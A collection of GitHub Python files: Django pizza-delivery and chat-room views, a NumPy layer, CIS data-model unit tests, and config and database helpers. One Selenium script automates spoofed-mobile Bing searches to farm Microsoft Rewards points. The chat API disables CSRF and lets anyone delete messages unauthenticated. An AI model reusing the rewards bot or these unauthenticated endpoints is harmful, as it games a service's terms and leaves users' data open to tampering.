'simulate':\n runsimulation()\n else:\n print('no option specified: learn or simulate')\n\n\n\n","repo_name":"josephbakarji/learning-pdf","sub_path":"code/testcases/sparsity_test.py","file_name":"sparsity_test.py","file_ext":"py","file_size_in_byte":10077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31894152076","text":"from abc import abstractmethod\n\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.mixins import (\n LoginRequiredMixin,\n PermissionRequiredMixin\n)\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse, reverse_lazy\nfrom django.views import generic, View\nfrom django.db.models import QuerySet\n\nfrom delivery.forms import (\n CustomerInfoUpdateForm,\n RegisterForm,\n ToppingSearchForm,\n FeedBackCreateForm,\n PizzaForm,\n)\nfrom delivery.models import (\n Pizza,\n Topping,\n FeedBack,\n PizzaType,\n Customer,\n Order,\n Receipt,\n)\n\n\ndef index(request) -> HttpResponse:\n pizza_count = Pizza.objects.count()\n topping_count = Topping.objects.count()\n feedback_count = FeedBack.objects.count()\n pizza_type_count = PizzaType.objects.count()\n\n context = {\n \"pizza_count\": pizza_count,\n \"topping_count\": topping_count,\n \"feedback_count\": feedback_count,\n \"pizza_type_count\": pizza_type_count,\n }\n\n return render(request, \"delivery/home.html\", context=context)\n\n\ndef about(request) -> HttpResponse:\n return render(request, \"delivery/about_delivery.html\")\n\n\nclass CustomerDetailView(LoginRequiredMixin, generic.DetailView):\n model = Customer\n queryset = Customer.objects.all()\n\n\nclass CustomerUpdateView(LoginRequiredMixin, generic.UpdateView):\n model = Customer\n form_class = CustomerInfoUpdateForm\n template_name = \"delivery/customer_update_form.html\"\n\n def form_valid(self, form) -> str:\n valid_form = form.save(commit=False)\n valid_form.save()\n return redirect(\"delivery:customer-detail\", self.object.pk)\n\n\nclass RegisterView(generic.CreateView):\n model = Customer\n form_class = RegisterForm\n template_name = \"delivery/customer_register_form.html\"\n\n def form_valid(self, form) -> HttpResponseRedirect:\n form.save()\n customer = authenticate(\n username=form.cleaned_data[\"username\"],\n password=form.cleaned_data[\"password1\"],\n )\n login(self.request, customer)\n return HttpResponseRedirect(reverse(\"delivery:index\"))\n\n\nclass PizzaMenuListView(LoginRequiredMixin, generic.ListView):\n model = Pizza\n pizza = Pizza.objects.select_related(\n \"type_pizza_id\"\n ).prefetch_related(\"topping\")\n template_name = \"delivery/pizza_menu.html\"\n context_object_name = \"pizza_menu\"\n\n def get_context_data(self, **kwargs) -> dict:\n context = super(PizzaMenuListView, self).get_context_data(**kwargs)\n context[\"pizza_type\"] = PizzaType.objects.all()\n return context\n\n def get_queryset(self) -> QuerySet:\n queryset = super().get_queryset()\n search_term = self.kwargs.get(\"type_id\")\n if search_term is not None:\n queryset = queryset.filter(type_pizza=search_term)\n return queryset\n\n\nclass PizzaCreateView(\n LoginRequiredMixin,\n PermissionRequiredMixin,\n generic.CreateView\n):\n permission_required = \"delivery.add_pizza\"\n model = Pizza\n fields = [\"name\", \"type_pizza\", \"price\", \"ingredients\"]\n success_url = reverse_lazy(\"delivery:pizza-menu-list\")\n template_name = \"delivery/pizza_update_create_form.html\"\n\n\nclass PizzaUpdateView(\n LoginRequiredMixin,\n PermissionRequiredMixin,\n generic.UpdateView\n):\n permission_required = \"delivery.change_pizza\"\n model = Pizza\n fields = [\"name\", \"type_pizza\", \"price\", \"ingredients\"]\n success_url = reverse_lazy(\"delivery:pizza-menu-list\")\n template_name = \"delivery/pizza_update_create_form.html\"\n\n\nclass PizzaDeleteView(\n LoginRequiredMixin,\n PermissionRequiredMixin,\n generic.DeleteView\n):\n permission_required = \"delivery.delete_pizza\"\n model = Pizza\n queryset = Pizza.objects.prefetch_related(\"order__pizza\")\n success_url = reverse_lazy(\"delivery:pizza-menu-list\")\n template_name = \"delivery/pizza_delete_form.html\"\n\n\nclass ToppingListView(LoginRequiredMixin, generic.ListView):\n model = Topping\n form_class = ToppingSearchForm\n queryset = Topping.objects.all()\n paginate_by = 6\n\n def get_context_data(self, *, object_list=None, **kwargs) -> dict:\n context = super(ToppingListView, self).get_context_data(**kwargs)\n topping = self.request.GET.get(\"topping\", \"\")\n context[\"topping_form\"] = ToppingSearchForm(\n initial={\"topping\": topping}\n )\n return context\n\n def get_queryset(self) -> QuerySet:\n form = ToppingSearchForm(self.request.GET)\n\n if form.is_valid():\n return self.queryset.filter(\n name__icontains=form.cleaned_data[\"topping\"]\n )\n return self.queryset\n\n\nclass ToppingUpdateView(\n LoginRequiredMixin, PermissionRequiredMixin, generic.UpdateView\n):\n permission_required = \"delivery.change_topping\"\n model = Topping\n fields = \"__all__\"\n success_url = reverse_lazy(\"delivery:topping-list\")\n template_name = \"delivery/topping_update_create_form.html\"\n\n\nclass ToppingCreateView(\n LoginRequiredMixin, PermissionRequiredMixin, generic.CreateView\n):\n permission_required = \"delivery.add_topping\"\n model = Topping\n fields = \"__all__\"\n success_url = reverse_lazy(\"delivery:topping-list\")\n template_name = \"delivery/topping_update_create_form.html\"\n\n\nclass ToppingDeleteView(\n LoginRequiredMixin, PermissionRequiredMixin, generic.DeleteView\n):\n permission_required = \"delivery.delete_topping\"\n model = Topping\n fields = \"__all__\"\n success_url = reverse_lazy(\"delivery:topping-list\")\n template_name = \"delivery/topping_delete_form.html\"\n\n\nclass TotalPriceMixin:\n @abstractmethod\n def get_pizzas(self, order: Order) -> QuerySet:\n pass\n\n def get_total_price(self, orders: QuerySet) -> tuple:\n total_price = 0\n topping_total_price = 0\n for order in orders:\n for pizza in self.get_pizzas(order):\n total_price += pizza.price * pizza.quantity\n pizza.price_with_toppings = pizza.price * pizza.quantity\n pizza.save()\n if pizza.topping.all():\n for topping in pizza.topping.all():\n pizza.price_with_toppings += topping.price\n topping_total_price += topping.price\n total_price += topping_total_price\n pizza.save()\n return total_price, topping_total_price\n\n\nclass OrderListView(TotalPriceMixin, LoginRequiredMixin, generic.ListView):\n model = Order\n template_name = \"delivery/order_list.html\"\n context_object_name = \"orders\"\n\n def get_pizzas(self, order: Order) -> QuerySet:\n return order.pizza.all()\n\n def get_context_data(self, *, object_list=None, **kwargs) -> dict:\n context = super(OrderListView, self).get_context_data(**kwargs)\n orders = self.get_queryset().prefetch_related(\"pizza__topping\")\n total = self.get_total_price(orders)\n context[\"total_price\"] = total[0]\n return context\n\n\nclass OrderAddPizzaView(LoginRequiredMixin, View):\n @staticmethod\n def post(request, pizza_id) -> str:\n pizza = Pizza.objects.get(id=pizza_id)\n customer = request.user\n order, _ = Order.objects.get_or_create(customer=customer)\n\n new_pizza = Pizza.objects.create(\n name=pizza.name,\n type_pizza=pizza.type_pizza,\n price=pizza.price,\n price_with_toppings=pizza.price_with_toppings,\n ingredients=pizza.ingredients,\n quantity=1,\n is_custom_pizza=True\n )\n\n order.pizza.add(new_pizza)\n\n return redirect(\"delivery:pizza-menu-list\")\n\n\nclass OrderDeleteView(LoginRequiredMixin, generic.DeleteView):\n model = Order\n success_url = reverse_lazy(\"delivery:order-list\")\n template_name = \"delivery/order_list.html\"\n\n def post(self, request, *args, **kwargs) -> str:\n pizza = Pizza.objects.get(id=kwargs.get(\"pizza_id\"))\n order = Order.objects.get(id=kwargs.get(\"order_id\"))\n order.pizza.remove(kwargs.get(\"pizza_id\"))\n pizza.quantity = 1\n if pizza.topping.all():\n pizza.topping.clear()\n pizza.save()\n if order.pizza.count() == 0:\n order.delete()\n try:\n Pizza.objects.get(name=pizza.name)\n except Pizza.MultipleObjectsReturned:\n pizza.delete()\n return redirect(\"delivery:order-list\")\n\n\nclass IncrementQuantityView(LoginRequiredMixin, View):\n @staticmethod\n def post(request, pk) -> str:\n pizza = Pizza.objects.get(id=pk)\n pizza.quantity += 1\n pizza.save()\n return redirect(\"delivery:order-list\")\n\n\nclass DecrementQuantityView(LoginRequiredMixin, View):\n @staticmethod\n def post(request, pk) -> str:\n pizza = Pizza.objects.get(id=pk)\n if pizza.quantity > 1:\n pizza.quantity -= 1\n pizza.save()\n return redirect(\"delivery:order-list\")\n\n\nclass FeedBackListView(generic.ListView):\n model = FeedBack\n queryset = FeedBack.objects.select_related(\n \"customer\"\n ).order_by(\"-created_time\")\n template_name = \"delivery/feedback.html\"\n paginate_by = 3\n\n def post(self, request) -> str:\n form = FeedBackCreateForm(request.POST)\n if form.is_valid():\n feedback = form.save(commit=False)\n feedback.customer = self.request.user\n feedback.save()\n return redirect(\"delivery:feedback-list\")\n\n\ndef create_receipt(request) -> str:\n order = Order.objects.filter(\n customer=request.user, status=False\n ).first()\n if order:\n Receipt.objects.create(customer_order=order)\n order.status = True\n order.save()\n return redirect(\"delivery:receipt-list\")\n\n\nclass ReceiptListView(TotalPriceMixin, LoginRequiredMixin, generic.ListView):\n model = Receipt\n receipt = Receipt.objects.select_related(\n \"customer_order\"\n ).prefetch_related(\n \"customer_order__pizza\"\n )\n template_name = \"delivery/receipt_list.html\"\n context_object_name = \"receipt_order\"\n\n def get_pizzas(self, receipt: Receipt) -> QuerySet:\n return receipt.customer_order.pizza.all()\n\n def get_context_data(self, *, object_list=None, **kwargs) -> dict:\n context = super(ReceiptListView, self).get_context_data(**kwargs)\n orders = self.get_queryset().prefetch_related(\"customer_order__pizza__topping\")\n total = self.get_total_price(orders)\n context[\"total_price\"] = total[0]\n context[\"topping_total_price\"] = total[1]\n return context\n\n\ndef clean_order(request, pk):\n order = get_object_or_404(Order, id=pk)\n for pizza in order.pizza.all():\n pizza_to_delete = Pizza.objects.get(id=pizza.id)\n pizza_to_delete.delete()\n order.delete()\n return redirect(reverse_lazy(\"delivery:index\"))\n\n\nclass ChooseToppingView(\n LoginRequiredMixin,\n generic.UpdateView\n):\n model = Pizza\n form_class = PizzaForm\n success_url = reverse_lazy(\"delivery:order-list\")\n template_name = \"delivery/choose_toppings.html\"\n","repo_name":"bythewaters/pizza-delivery","sub_path":"delivery/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"71747005809","text":"#! /usr/bin/env python\n#-*- coding utf-8 -*-\nimport numpy as np\nclass FullyConnect:\n def __init__(self, l_x, l_y):\n self.weights = np.random.randn(l_y, l_x)/np.sqrt(l_x)\n self.bias = np.random.randn(l_y,1)\n self.lr = 0\n\n def forward(self,x):\n self.x = x\n self.y = np.array([np.dot(self.weight, xx) + self.bias for xx in x])\n return self.y\n\n def backward(self,d):\n ddw = [np.dot(dd, xx.T) for dd,xx in zip(d, self.x)]\n self.dw = np.sum(ddw, axis=0)/self.x.shape[0]\n self.db = np.sum(d,axis=0)/self.x.shape[0]\n self.dx = np.array([np.dot(self.weight.T, dd) for dd in d])\n\n self.weight -= self.lr*self.dw\n self.bias -= self.lr * self.db\n return self.dx\n\n\n\n\n\n\n\n","repo_name":"YHZX/ZXMachineLearning","sub_path":"FullConnect.py","file_name":"FullConnect.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71109446770","text":"import random\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n\n\ndef search(n):\n for i in range(n):\n print(i)\n sear = driver.find_element(By.ID, \"sb_form_q\")\n time.sleep(3)\n sear.clear()\n time.sleep(3)\n sear.send_keys(random.choice(k) + Keys.ENTER)\n\n\n# mob()\nif __name__ == \"__main__\":\n mob = True # for mobile set mob = True\n opt = webdriver.EdgeOptions()\n # opt.add_experimental_option(\"detach\", True) #to keep window open after search\n if mob:\n opt.add_argument(\n \"user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/117.0.0.0\")\n driver = webdriver.Edge(options=opt)\n driver.get(\"https://www.bing.com\")\n time.sleep(15) # time required to login\n with open('songs.txt') as file:\n k = file.readlines()\n songs = [i[:-1] for i in k]\n if mob:\n search(30)\n else:\n search(45)\n","repo_name":"Manojmb08/ms_rewards_selenium","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20596128047","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\n\nimport json\n\nfrom roomapi.models import Message\n# Create your views here.\n\n@csrf_exempt\ndef index(request):\n if request.method == 'GET':\n try:\n message = Message.objects.all()\n arr =[]\n for x in message: \n arr.append({'id':x.id, 'username':x.username, 'text':x.text, 'date':str(x.datetime)})\n response = json.dumps(arr)\n except:\n response =json.dumps([{'error':'0 Messages!'}])\n\n elif request.method == 'POST':\n payload = json.loads(request.body)\n user = payload[0]['username']\n message = payload[0]['text']\n \n rr = Message(username = user, text=message)\n try:\n rr.save()\n response =json.dumps([{'res':'message sent'}])\n except:\n response =json.dumps([{'res':'error sending a message'}])\n\n elif request.method == 'DELETE':\n payload = json.loads(request.body)\n print(payload)\n uid = payload[0]['id']\n message = Message.objects.get(pk=uid) \n \n try:\n message.delete()\n response =json.dumps([{'res':'message deleted'}])\n except:\n response =json.dumps([{'arror','failed to deleted the message'}])\n\n elif request.method == 'PATCH':\n payload = json.loads(request.body)\n print(f\"hello this {payload}\")\n uid = payload[0]['id']\n text = payload[0]['text']\n message = Message.objects.get(pk=uid) \n message.text = text\n try:\n message.save()\n response =json.dumps([{'res':'message updated'}])\n except:\n response =json.dumps([{'arror','failed to update the message'}])\n\n else:\n response =json.dumps([{'error':'bed request!!!'}])\n\n return HttpResponse(response,content_type=\"text/json\")","repo_name":"PeaceTheeCoder/chat-room","sub_path":"roomapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"32675403579","text":"import dataclasses\nimport unittest\nfrom DataModels import Recommendation, RecommendHeader, AuditCmd, CISControl, CISControlFamily\n\n\ndef run_tests(test_class):\n test_suite = unittest.TestLoader().loadTestsFromTestCase(test_class)\n test_runner = unittest.TextTestRunner(verbosity=2)\n test_runner.run(test_suite)\n\n\nclass TestRecommendation(unittest.TestCase):\n def setUp(self):\n self.recommend_id = '1.1.1'\n self.level = 1\n self.title = 'Control Title'\n self.rationale = 'Rationale Statement'\n self.impact = 'Impact Statement'\n self.safeguard_id = '7.3'\n self.assessment_method = 'Automated'\n self.audit_cmd = AuditCmd(command='ls -l', expected_output='rw-r-x folder1')\n\n def create_recommendation(self):\n return Recommendation(recommend_id=self.recommend_id,\n level=self.level,\n title=self.title,\n rationale=self.rationale,\n impact=self.impact,\n safeguard_id=self.safeguard_id,\n assessment_method=self.assessment_method,\n audit_cmd=self.audit_cmd)\n\n def test_create_recommendation(self):\n recommendation = self.create_recommendation()\n self.assertEqual(self.recommend_id, recommendation.recommend_id)\n self.assertEqual(self.level, recommendation.level)\n self.assertEqual(self.rationale, recommendation.rationale)\n self.assertEqual(self.title, recommendation.title)\n self.assertEqual(self.impact, recommendation.impact)\n self.assertEqual(self.safeguard_id, recommendation.safeguard_id)\n self.assertEqual(self.assessment_method, recommendation.assessment_method)\n self.assertEqual(self.audit_cmd, recommendation.audit_cmd)\n\n def test_create_invalid_types(self):\n invalid_values = {\n 'recommend_id': 1,\n 'level': '1',\n 'title': 1,\n 'rationale': 1,\n 'impact': 1,\n 'safeguard_id': 1,\n 'assessment_method': 1,\n 'audit_cmd': 1\n }\n for attr, invalid_value in invalid_values.items():\n setattr(self, attr, invalid_value)\n with self.assertRaises(TypeError):\n self.create_recommendation()\n\n def test_null_value_for_optional_attribute(self):\n recommendation = Recommendation(recommend_id=self.recommend_id,\n level=self.level,\n title=self.title,\n rationale=self.rationale,\n impact=self.impact,\n safeguard_id=self.safeguard_id,\n assessment_method=self.assessment_method,\n audit_cmd=None)\n self.assertIsNone(recommendation.audit_cmd)\n\n def test_default_value_audit_cmd(self):\n recommendation = Recommendation(recommend_id=self.recommend_id,\n level=self.level,\n title=self.title,\n rationale=self.rationale,\n impact=self.impact,\n safeguard_id=self.safeguard_id,\n assessment_method=self.assessment_method)\n self.assertIsNone(recommendation.audit_cmd)\n\n def test_missing_required_attributes(self):\n with self.assertRaises(TypeError):\n Recommendation(recommend_id=self.recommend_id,\n level=self.level,\n title=self.title,\n rationale=self.rationale,\n impact=self.impact,\n safeguard_id=self.safeguard_id)\n\n def test_edge_case_long_title(self):\n long_title = 'a' * 1000\n recommendation = Recommendation(recommend_id=self.recommend_id,\n level=self.level,\n title=long_title,\n rationale=self.rationale,\n impact=self.impact,\n safeguard_id=self.safeguard_id,\n assessment_method=self.assessment_method)\n self.assertEqual(long_title, recommendation.title)\n\n def test_attribute_mutability(self):\n recommendation = self.create_recommendation()\n new_title = 'Updated Title'\n recommendation.title = new_title\n self.assertEqual(new_title, recommendation.title)\n\n def test_equality_of_instances(self):\n recommendation1 = self.create_recommendation()\n recommendation2 = self.create_recommendation()\n self.assertEqual(recommendation1, recommendation2)\n\n\nclass TestRecommendHeader(unittest.TestCase):\n def setUp(self):\n self.recommend_id = 'H-1.1.1'\n self.level = 1\n self.title = 'Header Title'\n self.description = 'Header Description'\n\n def create_recommend_header(self):\n return RecommendHeader(recommend_id=self.recommend_id,\n level=self.level,\n title=self.title,\n description=self.description)\n\n def test_create_recommend_header(self):\n recommend_header = self.create_recommend_header()\n self.assertEqual(self.recommend_id, recommend_header.recommend_id)\n self.assertEqual(self.level, recommend_header.level)\n self.assertEqual(self.title, recommend_header.title)\n self.assertEqual(self.description, recommend_header.description)\n\n def test_create_invalid_types(self):\n invalid_values = {\n 'recommend_id': 1,\n 'level': '1',\n 'title': 1,\n 'description': 1,\n }\n for attr, invalid_value in invalid_values.items():\n setattr(self, attr, invalid_value)\n with self.assertRaises(TypeError):\n self.create_recommend_header()\n\n def test_missing_required_attributes(self):\n with self.assertRaises(TypeError):\n RecommendHeader(recommend_id=self.recommend_id,\n level=self.level,\n title=self.title)\n\n def test_immutability_recommend_header(self):\n header = RecommendHeader(recommend_id='H-1.1.1',\n level=1,\n title='Header Title',\n description='Header Description')\n with self.assertRaises(dataclasses.FrozenInstanceError):\n header.title = 'New Title'\n\n def test_edge_case_long_title(self):\n long_title = 'a' * 1000\n recommendation = RecommendHeader(recommend_id=self.recommend_id,\n level=self.level,\n title=long_title,\n description=self.description)\n self.assertEqual(long_title, recommendation.title)\n\n def test_equality_of_instances(self):\n header1 = self.create_recommend_header()\n header2 = self.create_recommend_header()\n self.assertEqual(header1, header2)\n\n def test_hashability(self):\n header_set = {self.create_recommend_header(), self.create_recommend_header()}\n self.assertEqual(len(header_set), 1)\n\n\nclass TestAuditCmd(unittest.TestCase):\n def setUp(self):\n self.command = \"ls -l | grep -q 'auditcmd'\"\n self.expected_output = \"true\"\n\n def create_auditcmd(self):\n return AuditCmd(command=self.command, expected_output=self.expected_output)\n\n def test_create_auditcmd(self):\n audit_cmd = self.create_auditcmd()\n self.assertEqual(self.command, audit_cmd.command)\n self.assertEqual(self.expected_output, audit_cmd.expected_output)\n\n def test_create_invalid_types(self):\n invalid_values = {\n 'command': 1,\n 'expected_output': 1\n }\n for attr, invalid_value in invalid_values.items():\n setattr(self, attr, invalid_value)\n with self.assertRaises(TypeError):\n self.create_auditcmd()\n\n def test_missing_required_attributes(self):\n with self.assertRaises(TypeError):\n AuditCmd(command=self.command)\n\n def test_immutability_auditcmd(self):\n audit_cmd = AuditCmd(command=self.command, expected_output=self.expected_output)\n with self.assertRaises(dataclasses.FrozenInstanceError):\n audit_cmd.command = 'New Command'\n\n def test_edge_case_long_cmd(self):\n long_cmd = 'a' * 1000\n audit_cmd = AuditCmd(command=long_cmd, expected_output='true')\n self.assertEqual(long_cmd, audit_cmd.command)\n\n def test_equality_of_instances(self):\n audit_cmd1 = self.create_auditcmd()\n audit_cmd2 = self.create_auditcmd()\n self.assertEqual(audit_cmd1, audit_cmd2)\n\n def test_hashability(self):\n audit_cmd_set = {self.create_auditcmd(), self.create_auditcmd()}\n self.assertEqual(len(audit_cmd_set), 1)\n\n\nclass TestCISControl(unittest.TestCase):\n def setUp(self):\n self.safeguard_id = '1.1.1'\n self.asset_type = 'devices'\n self.domain = 'detect'\n self.title = 'CISControl Title'\n self.description = 'CISControl Description'\n\n def create_cis_control(self):\n return CISControl(safeguard_id=self.safeguard_id, asset_type=self.asset_type,\n domain=self.domain, title=self.title, description=self.description)\n\n def test_create_cis_control(self):\n cis_control = self.create_cis_control()\n self.assertEqual(self.safeguard_id, cis_control.safeguard_id)\n self.assertEqual(self.asset_type, cis_control.asset_type)\n self.assertEqual(self.domain, cis_control.domain)\n self.assertEqual(self.title, cis_control.title)\n self.assertEqual(self.description, cis_control.description)\n\n def test_create_invalid_types(self):\n invalid_values = {\n 'safeguard_id': 1,\n 'asset_type': 1,\n 'domain': 1,\n 'title': 1,\n 'description': 1\n }\n for attr, invalid_value in invalid_values.items():\n setattr(self, attr, invalid_value)\n with self.assertRaises(TypeError):\n self.create_cis_control()\n\n def test_missing_required_attributes(self):\n with self.assertRaises(TypeError):\n CISControl(safeguard_id=self.safeguard_id, asset_type=self.asset_type, domain=self.domain, title=self.title)\n\n def test_immutability_cis_control(self):\n cis_control = CISControl(safeguard_id=self.safeguard_id, asset_type=self.asset_type,\n domain=self.domain, title=self.title, description=self.description)\n with self.assertRaises(dataclasses.FrozenInstanceError):\n cis_control.safeguard_id = '1.2.3'\n\n def test_edge_case_long_cis_control_title(self):\n long_cis_control_title = 'a' * 1000\n cis_control = CISControl(safeguard_id=self.safeguard_id, asset_type=self.asset_type,\n domain=self.domain, title=long_cis_control_title, description=self.description)\n self.assertEqual(long_cis_control_title, cis_control.title)\n\n def test_equality_of_instances(self):\n cis_control1 = self.create_cis_control()\n cis_control2 = self.create_cis_control()\n self.assertEqual(cis_control1, cis_control2)\n\n def test_hashability(self):\n cis_control_set = {self.create_cis_control(), self.create_cis_control()}\n self.assertEqual(len(cis_control_set), 1)\n\n\nclass TestCISControlFamily(unittest.TestCase):\n def setUp(self):\n self.title = 'CISControlFamily Title'\n self.description = 'CISControlFamily Description'\n\n def create_cis_control_family(self):\n return CISControlFamily(title=self.title, description=self.description)\n\n def test_create_cis_control_family(self):\n cis_control_family = self.create_cis_control_family()\n self.assertEqual(self.title, cis_control_family.title)\n self.assertEqual(self.description, cis_control_family.description)\n\n def test_create_invalid_types(self):\n invalid_values = {\n 'title': 1,\n 'description': 1\n }\n for attr, invalid_value in invalid_values.items():\n setattr(self, attr, invalid_value)\n with self.assertRaises(TypeError):\n self.create_cis_control_family()\n\n def test_missing_required_attributes(self):\n with self.assertRaises(TypeError):\n CISControlFamily(title=self.title)\n\n def test_immutability_cis_control_family(self):\n cis_control_family = CISControlFamily(title=self.title, description=self.description)\n with self.assertRaises(dataclasses.FrozenInstanceError):\n cis_control_family.title = 'New CISControlFamily Title'\n\n def test_edge_case_long_cis_control_family(self):\n long_cis_control_family_title = 'a' * 1000\n cis_control_family = CISControlFamily(title=long_cis_control_family_title, description=self.description)\n self.assertEqual(long_cis_control_family_title, cis_control_family.title)\n\n def test_equality_of_instances(self):\n cis_control_family1 = self.create_cis_control_family()\n cis_control_family2 = self.create_cis_control_family()\n self.assertEqual(cis_control_family1, cis_control_family2)\n\n def test_hashability(self):\n cis_control_family_set = {self.create_cis_control_family(), self.create_cis_control_family()}\n self.assertEqual(len(cis_control_family_set), 1)\n\n\nif __name__ == '__main__':\n run_tests(TestRecommendation)\n run_tests(TestRecommendHeader)\n run_tests(TestAuditCmd)\n run_tests(TestCISControl)\n run_tests(TestCISControlFamily)\n","repo_name":"alexandarmatev/CIS_Policy_Validator","sub_path":"unittests/test_data_models.py","file_name":"test_data_models.py","file_ext":"py","file_size_in_byte":14134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"19432038528","text":"# created at 2018.07.26 by opendev-choi\n# Program That Initialize Program ...\n# Total-Server-Manage 프로그램을 초기화 시켜주는 프로그램입니다.\n# 만약 이 프로그램을 통하여 설정하지 않았다면 기본 설정으로 됩니다.\n# 기본적으론 ElasticSearch 주소만 파일에 저장하며\n# 기타 정보들은 ElasticSearch 에 저장하게 됩니다.\n\nimport os\nimport sys\nimport configparser\n\nfrom include import statics\n\nimport elasticsearch\nimport urllib3\n\nif __name__ == '__main__':\n print(statics.headlines)\n\n # Check File Exist\n while os.path.exists(statics.config_file_name) is False:\n user_select: str\n # if non-exist Create File or Close Program\n user_select = input('Config file not found... create new file? : ')\n if user_select in ['y', 'Y']:\n try:\n with open(statics.config_file_name, 'w') as file:\n print(file)\n file.writelines(statics.default_config)\n except PermissionError as pe:\n print(f'Config file create fail! cause {pe.args}')\n print('Close initialize program... check create dile')\n sys.exit(-1)\n\n if user_select in ['n', 'N']:\n sys.exit(0)\n\n else:\n continue\n\n # Read Config File & print Now Setting\n config: configparser.ConfigParser = configparser.ConfigParser()\n config.read(statics.config_file_name)\n\n exist_es_section: bool = True\n es_server_address: str\n try:\n print('Start Elasticsearch settings ...\\n')\n print(f'Now Elasticsearch server address is {config.get(statics.config_elastic_section_name, \"address\")}\\n')\n except configparser.NoSectionError:\n print(f'There are no section \\'{statics.config_elastic_section_name}\\'')\n exist_es_section = False\n\n es_server_address = input('If need change Elasticsearch server address enter server address name\\n'\n 'or you not need change Elaticsearch Setting just enter\\n'\n 'E/S server Address : ')\n\n if es_server_address:\n if exist_es_section is False:\n config.add_section(statics.config_elastic_section_name)\n\n config.set(statics.config_elastic_section_name, 'address', es_server_address)\n try:\n with open(statics.config_file_name, 'w') as file:\n config.write(file)\n except PermissionError as pe:\n print(f'PermissionError at write file cause {pe.args}')\n print('config file changed! end program')\n else:\n print('nothing change settings... end program')\n\n # kafka ip setting\n print('kafka setting start...')\n kafka_server_ip = input('Kafka server Address : ')\n if kafka_server_ip:\n return_config = {}\n try:\n es = elasticsearch.Elasticsearch(es_server_address)\n doc: map = {\n 'config_val': kafka_server_ip\n }\n\n res = es.index(index=\"config\", doc_type='doc', id='agent_kafka_ip', body=doc)\n except urllib3.exceptions.LocationValueError:\n print('Connection Error! check E/S status')\n\n print('Setting End Process exit')","repo_name":"opendev-choi/Total-Server-Manage","sub_path":"initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"14733883672","text":"# https://school.programmers.co.kr/tryouts/72087/challenges?language=python3\n\ndef solution(N, number):\n answer = 2\n if number == N:\n return 1\n\n cases = dict()\n cases[0] = set([0])\n cases[1] = set([N])\n\n while answer <= 8:\n avail_case = set()\n for step in range(1, answer):\n value = get_step_value(N, step)\n\n avail_case.add(get_step_value(N,answer))\n for case in cases[answer-step]:\n avail_case.add(case+value)\n avail_case.add(case-value)\n avail_case.add(case*value)\n if value != 0 and case % value == 0:\n avail_case.add(case//value)\n if case != 0 and value % case == 0:\n avail_case.add(value//case)\n avail_case.add(value-case)\n\n if number in avail_case:\n return answer\n cases[answer] = avail_case\n answer += 1\n\n return answer if answer < 9 else -1\n\ndef get_step_value(N, step):\n temp = \"\"\n for _ in range(step):\n temp += str(N)\n return int(temp)","repo_name":"donghyuk454/pccp-study","sub_path":"lv3/expressed-as-N.py","file_name":"expressed-as-N.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"651096057","text":"#!\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2022-06-26\n@author: Edmund Bennett\n@email: bennettedmund@gmail.com\n\"\"\"\n\nfrom typing import List, Dict, Any, Union\nfrom json import load\nfrom azure.cosmos import CosmosClient, PartitionKey\n\nfrom bfsa.controllers.environment import Environment\nfrom bfsa.utils.get_vault_secret import get_vault_secret\n\n\nenvironment = Environment()\n\n\ndef get_blob_credentials():\n with open(\"credentials/blob_config.json\", \"r\") as credentials_file:\n blob_credentials = load(credentials_file)\n\n blob_credentials[\"credentials\"] = get_vault_secret(\n \"bennettfamilyblobs_credentials\",\n production=environment[\"IS_PROD\"],\n )\n return blob_credentials\n\n\nclass Client:\n \"\"\"\n Client to connect to backend database and manage interactions\n \"\"\"\n\n def __init__(\n self,\n endpoint: str,\n key: str,\n database_name: str,\n container_name: str,\n partition_key_field: str = \"partitionKey\",\n ):\n self.client = CosmosClient(\n url=endpoint,\n credential=key,\n )\n self.database = self.client.create_database_if_not_exists(id=database_name)\n self.container = self.database.create_container_if_not_exists(\n id=container_name,\n partition_key=PartitionKey(path=f\"/{partition_key_field}\"),\n offer_throughput=400,\n )\n\n def insert_data(self, payloads: List[Dict[str, Any]]) -> bool:\n \"\"\"\n Inserts data into collection\n :param payloads:\n :return: boolean indicating success or failure\n \"\"\"\n for payload in payloads:\n self.container.create_item(body=payload)\n return True\n\n def select_data(self, query):\n \"\"\"\n Selects data from collection\n :param query:\n :return:\n \"\"\"\n items = list(\n self.container.query_items(\n query=query,\n enable_cross_partition_query=True,\n )\n )\n\n return items\n\n def delete_data(\n self,\n item: Union[Dict[str, Any], str],\n partition_key: str,\n ):\n \"\"\"\n Removes single document from collection\n :param query:\n :return:\n \"\"\"\n\n self.container.delete_item(\n item=item,\n partition_key=partition_key,\n )\n return True\n\n def update_data(\n self,\n item: Dict[str, Any],\n body: Dict[str, Any],\n upsert: bool = True,\n ):\n \"\"\"\n Updates data in collection\n :param query:\n :param payload:\n :return:\n \"\"\"\n\n if 